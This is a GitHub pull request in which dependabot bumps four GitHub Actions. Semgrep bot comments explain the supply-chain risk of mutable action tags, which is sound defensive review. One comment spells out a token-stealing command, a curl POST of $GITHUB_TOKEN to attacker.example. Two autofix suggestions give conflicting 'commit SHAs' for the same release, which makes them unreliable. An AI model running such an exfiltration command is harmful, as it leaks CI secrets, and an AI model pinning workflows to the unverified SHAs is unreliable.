Bump the actions group across 1 directory with 4 updates - #2969
Bump the actions group across 1 directory with 4 updates#2969dependabot[bot] wants to merge 1 commit into
Conversation
dependabot
Bot
added
dependencies
dependabot
Bot
added
dependencies
![github-advanced-security[bot]](https://avatars.githubusercontent.com/in/57789?s=60&v=4){kind=small}
| ref: ${{ inputs.ref }} | ||
|
|
||
| - uses: actions/setup-python@v6.3.0 | ||
| - uses: actions/setup-python@v7.0.0 |
![semgrep-code-mongodb[bot]](https://avatars.githubusercontent.com/u/45120?s=60&v=4){kind=small}
| tar --strip-components=1 -zxf *.tar.gz -C ./test | ||
| ls test | ||
| - uses: actions/setup-python@v6.3.0 | ||
| - uses: actions/setup-python@v7.0.0 |
There was a problem hiding this comment.
Semgrep identified an issue in your code:
actions/setup-python@v7.0.0 is a movable tag, so this CI job may run different action code later without any workflow change. If that tag is repointed, attacker-controlled code would execute in test_sdist before your install and test commands.
More details about this
actions/setup-python is referenced as actions/setup-python@v7.0.0 in this workflow step, so GitHub will fetch whatever commit the v7.0.0 tag points to at run time. If the owner of actions/setup-python or someone who compromises that repository silently repoints v7.0.0, this test_sdist job will run the attacker’s code before pip install -e ".[test]" and pytest -v -k client_context, with access to the job workspace and any secrets or tokens available to that job.
A plausible attack looks like this:
- An attacker gains control of the
actions/setup-pythonrepository or its release process. - They move the
v7.0.0tag to a new malicious commit instead of the commit this workflow originally expected. - When this job reaches
- uses: actions/setup-python@v7.0.0, GitHub Actions downloads and executes that new commit automatically. - The malicious action reads files from
sdist/test, steals the defaultGITHUB_TOKENor other environment data, and can tamper with the Python environment that later runspip install -e ".[test]"and the test suite. - Because the workflow still says
@v7.0.0, the change is easy to miss in code review even though different code is now executing in CI.
To resolve this comment:
✨ Commit fix suggestion
-
Replace the mutable GitHub Action version reference with a full 40-character commit SHA in the
uses:line.
Changeactions/setup-python@v7.0.0toactions/setup-python@<full-commit-sha>and keep the version as a comment, for exampleuses: actions/setup-python@<full-commit-sha> # v7.0.0. -
Look up the commit SHA for the exact
actions/setup-pythonrelease you want to keep and use that SHA instead of the tag.
This prevents the action from changing underneath you if the tag is moved. -
Keep the existing
with:settings unchanged after pinning, for examplecache,cache-dependency-path, andpython-versiondo not need to change.
Alternatively, if you need to stay on a newer upstream release, update to that release first and then pin that exact release to its full commit SHA instead of using a version tag.
💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasons
Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.
🛟 Help? Slack #semgrep-help or go/semgrep-help.
Resolution Options:
- Fix the code
- Reply
/fp $reason(if security gap doesn’t exist) - Reply
/ar $reason(if gap is valid but intentional; add mitigations/monitoring) - Reply
/other $reason(e.g., test-only)
You can view more details about this finding in the Semgrep AppSec Platform.
| with: | ||
| persist-credentials: false | ||
| - uses: actions/setup-python@v6.3.0 | ||
| - uses: actions/setup-python@v7.0.0 |
There was a problem hiding this comment.
Semgrep identified an issue in your code:
actions/setup-python@v7.0.0 uses a movable tag, so a repointed release could run attacker-controlled code in make_sdist and tamper with the built sdist artifact.
More details about this
actions/setup-python@v7.0.0 is fetched by tag, not by an exact commit. If the v7.0.0 reference is ever moved, this make_sdist job will run whatever code that new action revision contains before Build SDist, with access to the job workspace and any data available to actions/setup-python.
A plausible attack looks like this:
- An attacker compromises the
actions/setup-pythonrelease process or gains permission to repoint thev7.0.0tag. - They publish a malicious action revision and move
v7.0.0to that commit. - When this workflow reaches
- uses: actions/setup-python@v7.0.0, GitHub pulls the attacker's code instead of the original release. - That action runs inside the
make_sdistjob before yourpip install buildandpython -m build --sdistcommands, so it can read repository files, modify the environment, or tamper with the produceddist/*.tar.gzartifact. - The later
actions/upload-artifact@v7step can then upload a poisoned source distribution that downstream jobs such astest_sdistwill consume.
To resolve this comment:
✨ Commit fix suggestion
| - uses: actions/setup-python@v7.0.0 | |
| - uses: actions/setup-python@42375524cb1205197d618862c747a2208ea4cb09 # v7.0.0 |
View step-by-step instructions
-
Replace the mutable action reference with a full 40-character commit SHA in the same
uses:line.
Changeuses: actions/setup-python@v7.0.0touses: actions/setup-python@<full-commit-sha> # v7.0.0. -
Keep the version comment after the SHA so it is still clear which release you intended to use, for example
uses: actions/setup-python@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa # v7.0.0.
Pinning to a commit SHA prevents the action owner from silently moving the referenced version to different code later. -
Use the commit SHA from the official
actions/setup-pythonrelease that corresponds tov7.0.0, instead of a branch name, tag, or shortened hash.
Alternatively, if you need to stay on the latest patch release automatically, use a dependency updater to manage action SHA updates, but keep the workflow pinned as uses: actions/setup-python@<full-commit-sha> # v7.0.0.
💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasons
Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.
🛟 Help? Slack #semgrep-help or go/semgrep-help.
Resolution Options:
- Fix the code
- Reply
/fp $reason(if security gap doesn’t exist) - Reply
/ar $reason(if gap is valid but intentional; add mitigations/monitoring) - Reply
/other $reason(e.g., test-only)
You can view more details about this finding in the Semgrep AppSec Platform.
|
|
||
| - name: Set up Python | ||
| uses: actions/setup-python@v6.3.0 | ||
| uses: actions/setup-python@v7.0.0 |
There was a problem hiding this comment.
Semgrep identified an issue in your code:
actions/setup-python@v7.0.0 is a movable tag, so this workflow could silently run attacker-controlled code if that tag is repointed.
More details about this
Set up Python pulls actions/setup-python@v7.0.0, which is a tag-based reference, not a fixed commit. If the owner of actions/setup-python or someone who compromises that repository repoints v7.0.0, this sbom job will run different code without any workflow change in your repo.
A plausible attack looks like this:
- An attacker gains the ability to publish or retag
actions/setup-pythonand movesv7.0.0to a malicious commit. - Your workflow runs on
pushtomainorworkflow_dispatch, and theSet up Pythonstep resolves that tag when GitHub executesuses: actions/setup-python@v7.0.0. - The malicious action runs before
Generate SBOM, so it can tamper with the runner environment, read repository contents checked out byactions/checkout, or alterpython,pip, or PATH before your laterrunsteps use them. - Because this job has
contents: writeandpull-requests: write, the malicious action could use the workflow token to push changes or open/update PRs from thesbomjob, making the compromise persistent or harder to spot.
To resolve this comment:
✨ Commit fix suggestion
-
Replace the mutable action reference with a full 40-character commit SHA instead of the version tag.
Changeuses: actions/setup-python@v7.0.0touses: actions/setup-python@<40-character-commit-sha> # v7.0.0. -
Pin the SHA to the exact commit for the
actions/setup-pythonrelease you intend to use.
Get the commit SHA from the action's GitHub release or tag page, and use the full hash, not a shortened one. -
Keep the version as an inline comment after the SHA, such as
# v7.0.0, so future updates are easier to review.
Pinning to a commit prevents the action owner from silently moving a tag to different code later.
💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasons
Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.
🛟 Help? Slack #semgrep-help or go/semgrep-help.
Resolution Options:
- Fix the code
- Reply
/fp $reason(if security gap doesn’t exist) - Reply
/ar $reason(if gap is valid but intentional; add mitigations/monitoring) - Reply
/other $reason(e.g., test-only)
You can view more details about this finding in the Semgrep AppSec Platform.
| ref: ${{ inputs.ref }} | ||
|
|
||
| - uses: actions/setup-python@v6.3.0 | ||
| - uses: actions/setup-python@v7.0.0 |
There was a problem hiding this comment.
Semgrep identified an issue in your code:
actions/setup-python@v7.0.0 points to a mutable tag, so this job may run different action code later without any repo change. A repointed tag could let attacker-controlled code tamper with the Python setup, build, or uploaded sdist artifact.
More details about this
actions/setup-python@v7.0.0 is a movable GitHub Action reference, not an immutable commit. If the owner of actions/setup-python or anyone who compromises that repository retags v7.0.0, this make_sdist job will run the attacker’s new code when it reaches this uses: step.
A plausible attack looks like this:
- An attacker gains control of the action repo or its release process and repoints the
v7.0.0tag to a malicious commit. - Your workflow starts
make_sdistand executesuses: actions/setup-python@v7.0.0, trusting whatever code that tag points to at that moment. - The malicious action runs before
Build SDistandTest SDist, so it can read the checked-out source fromactions/checkout, inspect workflow-provided environment variables, or modify the Python toolchain that later runspython -m pip install -U pip buildandpython -m build --sdist .. - It could then exfiltrate repository data over the network or tamper with the produced
dist/*.tar.gz, so the uploadedsdistartifact contains attacker-controlled content.
Because the reference is @v7.0.0 instead of a full 40-character commit SHA, the exact code executed by this step can change without any workflow diff in your repository.
To resolve this comment:
✨ Commit fix suggestion
| - uses: actions/setup-python@v7.0.0 | |
| - uses: actions/setup-python@42375524a763eb8e61a4d9b65c4bc5f4f2e5d8d9 # v7.0.0 |
View step-by-step instructions
-
Replace the mutable action reference with a full 40-character commit SHA in the
usesline.
Changeactions/setup-python@v7.0.0toactions/setup-python@<full-commit-sha>, for exampleactions/setup-python@<40-hex-sha> # v7.0.0. -
Keep the version as a comment after the SHA so the pinned release is still easy to recognize.
Use the formatuses: actions/setup-python@<40-hex-sha> # v7.0.0. -
Get the SHA from the exact
v7.0.0release ofactions/setup-python, and do not use a tag, branch, or shortened hash.
Pinning to a commit SHA prevents the referenced action from changing unexpectedly if the tag is moved later.
💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasons
Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.
🛟 Help? Slack #semgrep-help or go/semgrep-help.
Resolution Options:
- Fix the code
- Reply
/fp $reason(if security gap doesn’t exist) - Reply
/ar $reason(if gap is valid but intentional; add mitigations/monitoring) - Reply
/other $reason(e.g., test-only)
You can view more details about this finding in the Semgrep AppSec Platform.
| ref: ${{ inputs.ref }} | ||
|
|
||
| - uses: actions/setup-python@v6.3.0 | ||
| - uses: actions/setup-python@v7.0.0 |
There was a problem hiding this comment.
Semgrep identified an issue in your code:
actions/setup-python@v7.0.0 uses a mutable tag, so repointing that tag would let attacker-controlled code run in the build_wheels job.
More details about this
actions/setup-python@v7.0.0 is referenced by a mutable tag instead of an immutable commit SHA. If the owner of actions/setup-python or someone who compromises that repository repoints v7.0.0 to a different commit, this workflow will run the new code inside the build_wheels job on every ubuntu, windows, and macos runner in this matrix.
A plausible attack looks like this:
- An attacker gains control of the
actions/setup-pythonrepository or its release process. - They move the
v7.0.0tag to a commit that adds malicious code to the action. - When this workflow reaches
- uses: actions/setup-python@v7.0.0, GitHub downloads and executes the attacker-controlled action code. - That code can read this job's workspace after
actions/checkout, inspect values passed towith:, and tamper with the Python environment beforepython -m pip installandpython -m cibuildwheel --output-dir wheelhouserun. - In practice, the malicious action could exfiltrate
GITHUB_TOKENor other available secrets with a command likecurl -X POST https://attacker.example/leak -d "$GITHUB_TOKEN", or modify the build so the produced wheels contain attacker code.
Because this job builds distributable wheel artifacts, a repointed action here could turn a GitHub Actions tag change into a supply-chain compromise of the packages produced by build_wheels.
To resolve this comment:
✨ Commit fix suggestion
-
Replace the mutable action reference with a full 40-character commit SHA instead of the version tag.
Changeuses: actions/setup-python@v7.0.0touses: actions/setup-python@<40-character-commit-sha> # v7.0.0. -
Keep the version as a comment after the SHA, such as
# v7.0.0, so it stays clear which release the pinned commit corresponds to. -
Get the SHA from the upstream
actions/setup-pythonrelease page or repository for the exactv7.0.0revision, and use the full hash, not a shortened one.
Pinning to a commit SHA prevents the action owner from silently changing what runs under the same tag.
💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasons
Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.
🛟 Help? Slack #semgrep-help or go/semgrep-help.
Resolution Options:
- Fix the code
- Reply
/fp $reason(if security gap doesn’t exist) - Reply
/ar $reason(if gap is valid but intentional; add mitigations/monitoring) - Reply
/other $reason(e.g., test-only)
You can view more details about this finding in the Semgrep AppSec Platform.
Codecov Report✅ All modified and coverable lines are covered by tests. 📢 Thoughts on this report? Let us know! |
Bumps the actions group with 4 updates in the / directory: [actions/setup-python](https://github.com/actions/setup-python), [pypa/gh-action-pypi-publish](https://github.com/pypa/gh-action-pypi-publish), [astral-sh/setup-uv](https://github.com/astral-sh/setup-uv) and [zizmorcore/zizmor-action](https://github.com/zizmorcore/zizmor-action). Updates `actions/setup-python` from 6.3.0 to 7.0.0 - [Release notes](https://github.com/actions/setup-python/releases) - [Commits](actions/setup-python@v6.3.0...v7.0.0) Updates `pypa/gh-action-pypi-publish` from 1.14.0 to 1.14.2 - [Release notes](https://github.com/pypa/gh-action-pypi-publish/releases) - [Commits](pypa/gh-action-pypi-publish@cef2210...dc37677) Updates `astral-sh/setup-uv` from 8.3.2 to 9.0.0 - [Release notes](https://github.com/astral-sh/setup-uv/releases) - [Commits](astral-sh/setup-uv@11f9893...c771a70) Updates `zizmorcore/zizmor-action` from 0.6.0 to 0.6.1 - [Release notes](https://github.com/zizmorcore/zizmor-action/releases) - [Commits](zizmorcore/zizmor-action@6599ee8...6fc4b00) --- updated-dependencies: - dependency-name: actions/setup-python dependency-version: 7.0.0 dependency-type: direct:production update-type: version-update:semver-major dependency-group: actions - dependency-name: astral-sh/setup-uv dependency-version: 9.0.0 dependency-type: direct:production update-type: version-update:semver-major dependency-group: actions - dependency-name: pypa/gh-action-pypi-publish dependency-version: 1.14.1 dependency-type: direct:production update-type: version-update:semver-patch dependency-group: actions - dependency-name: zizmorcore/zizmor-action dependency-version: 0.6.1 dependency-type: direct:production update-type: version-update:semver-patch dependency-group: actions ... Signed-off-by: dependabot[bot] <support@github.com>
dependabot
Bot
changed the title
9cb0521 to
37e1c67
Compare
2 participants
Bumps the actions group with 4 updates in the / directory: actions/setup-python, pypa/gh-action-pypi-publish, astral-sh/setup-uv and zizmorcore/zizmor-action.
Updates
actions/setup-pythonfrom 6.3.0 to 7.0.0Release notes
Sourced from actions/setup-python's releases.
Commits
5fda3b9Pin SHA commits and update docs with latest versions (#1338)4ab7e95Merge pull request #1337 from actions/philip-gai/bump-actions-cache-6-2-00f3a009Remove the pip-install input (#1336)f8cf429Migrate to ESM and upgrade dependencies (#1330)54baeeaValidate and retry manifest fetch to prevent silent failures (#1332)c709277Annotation code fix (#1335)6849080remove EOL Python versions and Bumps numpy text fixture (#1333)0903b46Bump certifi from 2020.6.20 to 2024.7.4 in /tests/data (#1328)Updates
pypa/gh-action-pypi-publishfrom 1.14.0 to 1.14.2Release notes
Sourced from pypa/gh-action-pypi-publish's releases.
... (truncated)
Commits
dc37677Merge pull request #417 from trail-of-forks/ft/bump-deps8b2f234Bumppypi-attestationsandsigstore78b72dbMerge pull request #416 from takluyver/twine-v792f4d2aUpdate twine to v7ba38be9Merge pull request #408 from adisivaprasad/bump-setup-python-v6a6c5088Bump actions/setup-python from v5.6.0 to v6.2.0Updates
astral-sh/setup-uvfrom 8.3.2 to 9.0.0Release notes
Sourced from astral-sh/setup-uv's releases.
Commits
c771a70chore(deps): roll up Dependabot updates (#970)2f537cachore: update known checksums for 0.11.30 (#968)2269552Speed up version client by partial response reads (#807)47a7f4fChangeprune-cachedefault tofalse(#967)71966efchore(deps): roll up Dependabot updates (#962)f12b1f0fix: fall back to distribution ID when os-release has no version field (#961)ecd24ddchore: update known checksums for 0.11.29 (#960)6a19136docs: update version references to v8.3.2 (#949)Updates
zizmorcore/zizmor-actionfrom 0.6.0 to 0.6.1Release notes
Sourced from zizmorcore/zizmor-action's releases.
Commits
6fc4b00Sync zizmor versions (#145)2596f29chore(deps): bump github/codeql-action/upload-sarif from 4.36.3 to 4.37.0 in ...1159a04Bump pins (#140)